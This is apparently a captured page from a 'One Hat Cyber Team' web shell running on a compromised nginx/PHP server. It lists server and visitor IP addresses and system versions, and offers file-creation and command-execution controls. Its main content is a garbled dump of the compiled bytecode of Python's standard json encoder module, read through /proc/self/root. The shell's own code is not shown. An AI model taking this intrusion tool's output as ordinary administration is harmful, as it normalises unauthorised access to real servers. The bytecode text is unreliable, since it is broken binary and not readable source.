⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
lib
/
python3.10
/
json
/
__pycache__
/
View File Name :
encoder.cpython-310.pyc
o }5h> @ s6 d Z ddlZzddlmZ W n ey dZY nw zddlmZ W n ey- dZY nw zddlmZ W n eyA dZ Y nw e dZe dZe dZ d d ddd dddZedD ] Zeeede q_edZdd ZepxeZdd ZepeZG dd deZeeeeeeee e!ej"f ddZ#dS )zImplementation of JSONEncoder N)encode_basestring_ascii)encode_basestring)make_encoderz[\x00-\x1f\\"\b\f\n\r\t]z([\\"]|[^\ -~])s [-]z\\z\"z\bz\fz\nz\rz\t)\" \u{0:04x}infc C dd }dt || d S )z5Return a JSON representation of a Python string c S s t | d S )Nr ) ESCAPE_DCTgroup)match r #/usr/lib/python3.10/json/encoder.pyreplace( s z%py_encode_basestring.
.replacer )ESCAPEsubsr r r r py_encode_basestring$ s r c C r )zAReturn an ASCII-only JSON representation of a Python string c S sv | d}zt| W S ty: t|}|dk r d| Y S |d8 }d|d? d@ B }d|d@ B }d|| Y S w ) Nr i r i i i z\u{0:04x}\u{1:04x})r r KeyErrorordformat)r r ns1s2r r r r 4 s z+py_encode_basestring_ascii.
.replacer )ESCAPE_ASCIIr r r r r py_encode_basestring_ascii0 s r# c @ sN e Zd ZdZdZdZddddddddddd Zd d Zdd ZdddZ dS )JSONEncodera[ Extensible JSON
encoder for Python data structures. Supports the following objects and types by default: +-------------------+---------------+ | Python | JSON | +===================+===============+ | dict | object | +-------------------+---------------+ | list, tuple | array | +-------------------+---------------+ | str | string | +-------------------+---------------+ | int, float | number | +-------------------+---------------+ | True | true | +-------------------+---------------+ | False | false | +-------------------+---------------+ | None | null | +-------------------+---------------+ To extend this to recognize other objects, subclass and implement a ``.default()`` method with another method that returns a serializable object for ``o`` if possible, otherwise it should call the superclass implementation (to raise ``TypeError``). z, z: FTN)skipkeysensure_asciicheck_circular allow_nan sort_keysindent separatorsdefaultc C s^ || _ || _|| _|| _|| _|| _|dur|\| _| _n|dur$d| _|dur-|| _dS dS )a Constructor for JSONEncoder, with sensible defaults. If skipkeys is false, then it is a TypeError to attempt encoding of keys that are not str, int, float or None. If skipkeys is True, such items are simply skipped. If ensure_ascii is true, the output is guaranteed to be str objects with all incoming non-ASCII characters escaped. If ensure_ascii is false, the output can contain non-ASCII characters. If check_circular is true, then lists, dicts, and custom encoded objects will be checked for circular references during encoding to prevent an infinite recursion (which would cause an RecursionError). Otherwise, no such check takes place. If allow_nan is true, then NaN, Infinity, and -Infinity will be encoded as such. This behavior is not JSON specification compliant, but is consistent with most JavaScript based encoders and decoders. Otherwise, it will be a ValueError to encode such floats. If sort_keys is true, then the output of dictionaries will be sorted by key; this is useful for regression tests to ensure that JSON serializations can be compared on a day-to-day basis. If indent is a non-negative integer, then JSON array elements and object members will be pretty-printed with that indent level. An indent level of 0 will only insert newlines. None is the most compact representation. If specified, separators should be an (item_separator, key_separator) tuple. The default is (', ', ': ') if *indent* is ``None`` and (',', ': ') otherwise. To get the most compact JSON representation, you should specify (',', ':') to eliminate whitespace. If specified, default is a function that gets called for objects that can't otherwise be serialized. It should return a JSON encodable version of the object or raise a ``TypeError``. N,) r% r&